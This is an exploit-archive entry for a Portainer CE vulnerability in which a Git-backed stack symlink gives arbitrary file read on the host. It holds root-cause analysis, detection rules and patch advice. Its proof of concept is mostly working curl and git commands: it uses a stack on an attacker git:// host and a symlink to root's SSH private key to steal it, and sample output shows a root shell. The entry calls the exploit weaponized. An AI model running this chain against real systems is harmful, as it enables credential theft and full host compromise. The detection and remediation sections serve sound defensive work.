Portainer Git-Backed Stack Symlink Injection to Arbitrary Host File Read (CVE-2026-44881)
Published: 2026-11-27 • Researcher: Ali Dak (GitHub: 0xdak)
- Severity
- Critical
- CVE
- CVE-2026-44881 (GHSA-rpgq-m5fp-32wr)
- Category
- cloud
- Affected product
- Portainer Community Edition (Portainer CE), Git-backed stack deployment
- Affected versions
- 2.33.0 through 2.33.7, 2.39.0 through 2.39.1, and 2.40.x. Fixed in 2.33.8, 2.39.2 and 2.41.0
- Disclosed
- 2026-11-27
- Patch status
- Patched
Tags
References
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-11-27 |
| Last Updated | 2026-06-16 (upstream commit 7f57440, “CVE-2026-44881 — Portainer Git symlink → arbitrary host file read PoC”) |
| Author / Researcher | Ali Dak (GitHub: 0xdak) |
| CVE / Advisory | CVE-2026-44881 (GHSA-rpgq-m5fp-32wr) |
| Category | cloud |
| Severity | Critical |
| CVSS Score | 9.9 (CVSSv3.1 base score, NVD; EPSS 0.00585 in the harvested record) |
| Status | Weaponized (complete end-to-end exploit script with recorded demo output on the upstream side; not executed while preparing this entry) |
| Tags | Arbitrary file read, symlink, Git, Portainer, Docker, Kubernetes, CWE-59, CWE-200, authenticated, stack deployment |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | Portainer Community Edition (Portainer CE), Git-backed stack deployment |
| Versions Affected | 2.33.0 through 2.33.7, 2.39.0 through 2.39.1, and 2.40.x. Fixed in 2.33.8, 2.39.2 and 2.41.0 |
| Language / Platform | Go (Portainer server, go-git v5); Linux containers, Docker Swarm, Kubernetes and ACI backends |
| Authentication Required | Yes — any authenticated user granted rights to create or update a Git-backed stack (the default configuration) |
| Network Access Required | Yes — HTTP(S) access to the Portainer API, plus a Git endpoint the Portainer server can reach |
Summary
Portainer Community Edition clones Git repositories when it creates or updates a Git-backed stack, and go-git converts a Git blob entry with mode 0120000 into a real operating-system symlink on disk. The only path Portainer refuses to materialize as a symlink is .gitmodules, so docker-compose.yml or any other stack entry point can become a symlink pointing outside the cloned repository. The GET /api/stacks/{id}/file endpoint then reads that stack entry point with os.ReadFile, which follows the symlink transparently and returns the target file’s contents to the caller. Any authenticated user with stack creation rights can therefore read arbitrary files reachable by the Portainer process, which on typical deployments runs as root and exposes the Portainer database, Kubernetes service-account tokens, Swarm secrets and bind-mounted host keys.
Vulnerability Details
Root Cause
CWE-59 (link following) compounded by CWE-200 (information exposure). Portainer deploys Git-backed stacks by cloning the remote repository with go-git v5. During the checkout, go-git turns every Git tree entry with mode 0o120000 into a real filesystem symlink through os.Symlink. The only entry name Portainer blocks from becoming a symlink is .gitmodules; every other path, including the stack entry point named in ComposeFile, is created as a symlink without validation of where it points.
The second half is in the read path. Service.GetFileContent in api/filesystem/filesystem.go reads the stack entry point with os.ReadFile, and that call follows OS symlinks. JoinPaths rejects ../ sequences in the request-supplied path string, but it never calls filepath.EvalSymlinks, so a symlink that already exists on disk resolves happily to its target. Portainer’s go-billy worktree abstraction chroot-jails absolute symlink targets, so the malicious symlink must use a relative target (for example ../../../mnt/host/root/.ssh/id_rsa) that escapes the clone directory.
Attack Vector
An authenticated user with stack-create rights POSTs to /api/stacks/create/standalone/repository with a RepositoryURL under attacker control and a clean docker-compose.yml that passes validation. Once the stack exists, the attacker pushes a second commit that replaces docker-compose.yml with a relative symlink to the desired file and calls PUT /api/stacks/{id}/git/redeploy. The redeploy clones the new commit and the working tree is overwritten before the compose validator rejects the non-YAML content, so the response contains a validation error even though the symlink is already on disk. A final GET /api/stacks/{id}/file reads the entry point and returns the symlink target’s contents.
Impact
Arbitrary read of any file the Portainer process can reach, without shell access. Because Portainer normally runs as root to access the Docker socket, the practical reach includes /data/portainer.db (BoltDB holding every user password hash and API token), Kubernetes service-account tokens under /var/run/secrets/kubernetes.io/serviceaccount/, Docker Swarm secrets under /run/secrets/, and, where operators bind-mount the host filesystem for monitoring, host files such as /etc/shadow and /root/.ssh/id_rsa. The archived exploit chains the read into SSH access as root in its lab, so the confidentiality bug can become full host compromise.
Environment / Lab Setup
OS: Linux host with Docker or Podman
Target: Portainer CE 2.33.0–2.33.7, 2.39.0–2.39.1 or 2.40.x on HTTP port 9000.
The upstream lab also exposes a deliberately leaked .git on port 80 that
contains low-privilege Portainer credentials, and bind-mounts the host
filesystem read-only at /mnt/host inside the Portainer container.
Attacker: Linux attacker host on the same network as the target
Tools: bash, curl, jq, git (including git daemon), ssh; optional git-dumper
for recovering credentials from the leaked .git directorySetup Steps
| |
Proof of Concept
Step-by-Step Reproduction
Recover or supply low-privilege credentials — the script dumps an exposed /.git on port 80 and extracts trial credentials from history, or accepts them with -u/-P.
Shell script1./exploit.sh -t 192.168.1.27Authenticate to Portainer and read the JWT and the first Docker endpoint ID.
Shell script1 2 3curl -s -X POST "http://TARGET:9000/api/auth" \ -H 'Content-Type: application/json' \ -d '{"Username":"lowuser","Password":"lowuser-c0ntain3r-2026"}'Host the bait repository containing a clean docker-compose.yml and start git daemon on port 9418.
Create a Git-backed stack pointing at the attacker repository, so validation passes and the stack persists.
Shell script1 2 3curl -s -X POST "http://TARGET:9000/api/stacks/create/standalone/repository?endpointId=1" \ -H "Authorization: Bearer $JWT" -H 'Content-Type: application/json' \ -d '{"Name":"leak-1","RepositoryURL":"git://ATTACKER:9418/repo.git","RepositoryReferenceName":"refs/heads/master","ComposeFile":"docker-compose.yml","RepositoryAuthentication":false}'Replace docker-compose.yml with a relative symlink to the target file and push.
Shell script1 2 3rm -f docker-compose.yml ln -s ../../../mnt/host/root/.ssh/id_rsa docker-compose.yml git add -A && git commit -m evil && git push origin masterTrigger a redeploy. The response is expected to be a validation error; the working tree has already been overwritten.
Shell script1 2 3curl -s -X PUT "http://TARGET:9000/api/stacks/1/git/redeploy?endpointId=1" \ -H "Authorization: Bearer $JWT" -H 'Content-Type: application/json' \ -d '{"env":[],"prune":false,"pullImage":false}'Read the symlink target.
Shell script1 2curl -s -H "Authorization: Bearer $JWT" \ "http://TARGET:9000/api/stacks/1/file"
Exploit Code
See
exploit.shin this folder for the complete end-to-end chain (credential recovery, Git daemon, stack creation, symlink commit, redeploy, file read and optional SSH).
| |
Expected Output
[+] Stack ID: 1
[+] redeploy response: {"message":"stack config file is invalid: top-level object must be a mapping"}
[+] leaked private key saved to /tmp/cve44881-xxxx/stolen_id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----
=== id ===
uid=0(root) gid=0(root) groups=0(root)
=== hostname ===
containeropsThe redeploy error is a success signal: the compose validator rejects the SSH key as invalid YAML only after the clone has already replaced the working tree file.
Detection & Indicators of Compromise
POST /api/stacks/create/standalone/repository <- RepositoryURL points at an unexpected git:// host
PUT /api/stacks/<id>/git/redeploy <- response "stack config file is invalid"
GET /api/stacks/<id>/file <- immediately after the failed redeploy
find /var/lib/docker/volumes -type l -name 'docker-compose.y*ml' -printf '%p -> %l\n'SIEM / IDS rule (example):
alert http any any -> any any (msg:"Portainer stack symlink file-read chain"; \
flow:to_server; content:"/api/stacks/create/standalone/repository"; http_uri; \
content:"git://"; http_client_body; sid:90044881;)Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade Portainer CE to 2.33.8 (LTS), 2.39.2 (LTS) or 2.41.0 (STS) |
| Workaround | Restrict stack creation from Git repositories to trusted administrators; require review of repository contents before deployment |
| Config Hardening | Run Portainer as a non-root user where the Docker socket proxy allows it, avoid bind-mounting the host filesystem into the container, and keep the API off untrusted networks |
| Detection | Alert on stack creation from git:// or unapproved repositories and on redeploy requests that fail compose validation immediately followed by a stack file read |
References
Notes
Verdict: genuine exploit. The repository contains a single, complete bash exploit that performs the vulnerability end to end: it creates a Git-backed stack, commits a relative symlink as the compose entry point, forces a re-clone through the redeploy endpoint, and reads the target file through /api/stacks/{id}/file. It is not a scanner, checker, template or analysis-only write-up. It is not malware, C2, persistence or evasion tooling; the optional final SSH step merely consumes the leaked key against the lab host.
License: MIT, as declared in the upstream README. The repository ships no LICENSE file, so the declaration is the only license statement available.
Limitations: (1) a low-privilege authenticated Portainer account with stack-create rights is required; (2) the malicious symlink must use a relative target because go-billy chroot-jails absolute symlinks; (3) the archived script assumes the upstream lab layout, including the leaked .git on port 80, the /:/mnt/host:ro bind mount and a git daemon reachable from the server, so the target path inside the symlink must be edited for other deployments; (4) the redeploy step intentionally produces a validation error, and the exploit depends on the clone landing before validation; (5) the script was reviewed statically and was not executed against a live target while preparing this entry.
| |